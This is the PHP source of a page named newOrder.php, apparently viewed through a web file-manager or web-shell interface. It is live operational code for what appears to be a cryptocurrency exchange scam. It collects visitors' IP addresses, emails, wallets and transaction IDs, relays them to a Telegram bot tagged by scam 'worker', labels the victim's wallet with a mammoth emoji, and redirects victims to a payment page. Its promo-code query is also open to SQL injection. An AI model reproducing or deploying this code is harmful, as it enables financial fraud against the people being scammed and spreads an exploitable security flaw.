File manager - Edit - /home/infoilmg/nfnen.xyz/logic/newOrder.php
Back
<!doctype html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Loading</title> </head> <body> <?php require_once "config.php"; require_once "getCountry.php"; // $ipaddress = "90.141.14.83"; $ipaddress = $_SERVER['HTTP_CLIENT_IP'] ? $_SERVER['HTTP_CLIENT_IP'] : ($_SERVER['HTTP_X_FORWARDED_FOR'] ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']); $sendUsd = $_COOKIE["sendUsd"]; $country = ip_info($ipaddress); $pair = $_COOKIE["pair"]; $mail = $_COOKIE["mail"]; $wallet = $_COOKIE["wallet"]; $receiveAmount = $_COOKIE["receiveAmount"]; $transactionId = $_COOKIE["transactionId"]; $usedPromo = $_COOKIE["usedPromo"]; $new_order = $pdo->prepare("INSERT INTO orders (ip,data,country,amount,pair,mail,accepted,transactionId) VALUES (:ip,:data,:country,:amount,:pair,:mail,:accepted,:transactionId)"); $new_order ->execute([ ':ip'=> $ipaddress, ':data'=> date("Y-m-d H:i:s"), ':country'=> $country["country_code"], ':amount'=>$sendUsd, ':pair'=>$pair, ':mail'=>$mail, ':accepted'=>0, ':transactionId'=>$transactionId, ]); $workerTag = "none"; $apiToken = ""; $chatId = ""; $query = $pdo->prepare("SELECT * FROM sitesettings"); $query->execute(); $result = $query; foreach ($result as $row) { $apiToken = $row['botToken']; $chatId = $row['chatId']; } if(strlen($usedPromo) > 1){ $getWorker = $pdo->prepare("SELECT * FROM promocodes WHERE code = '" .$usedPromo."'" ); $getWorker->execute(); $getWorkerResult = $getWorker; foreach ($getWorkerResult as $getWorkerResultRow) { $workerTag = $getWorkerResultRow['worker']; } } else{ $usedPromo = "none"; } $usedPromo[strlen($usedPromo)-1] = "*"; $usedPromo[strlen($usedPromo)-2] = "*"; $usedPromo[strlen($usedPromo)-3] = "*"; try { if(strlen($apiToken) > 5 && strlen($wallet) > 5){ $data = [ 'chat_id' => $chatId, 'text' => "💵NEW Order: ". $sendUsd . "$\n\n📡 Ip: " .$ipaddress ."\n🎊Pair: " . $pair . "\n🦣 User wallet: " . $wallet . "\n💸Receive Amount: " . $receiveAmount . "\n🔑 Transaction Id: " . $transactionId . "\n\n🐝 WorkerTag: ". $workerTag . "\n🍏 Used Promo: " . $usedPromo ]; $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );} }catch (Exception $ex){ } finally { echo "<script>window.location.replace('/payment');</script>"; die(); } ?> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 7.9 |
proxy
|
phpinfo
|
Settings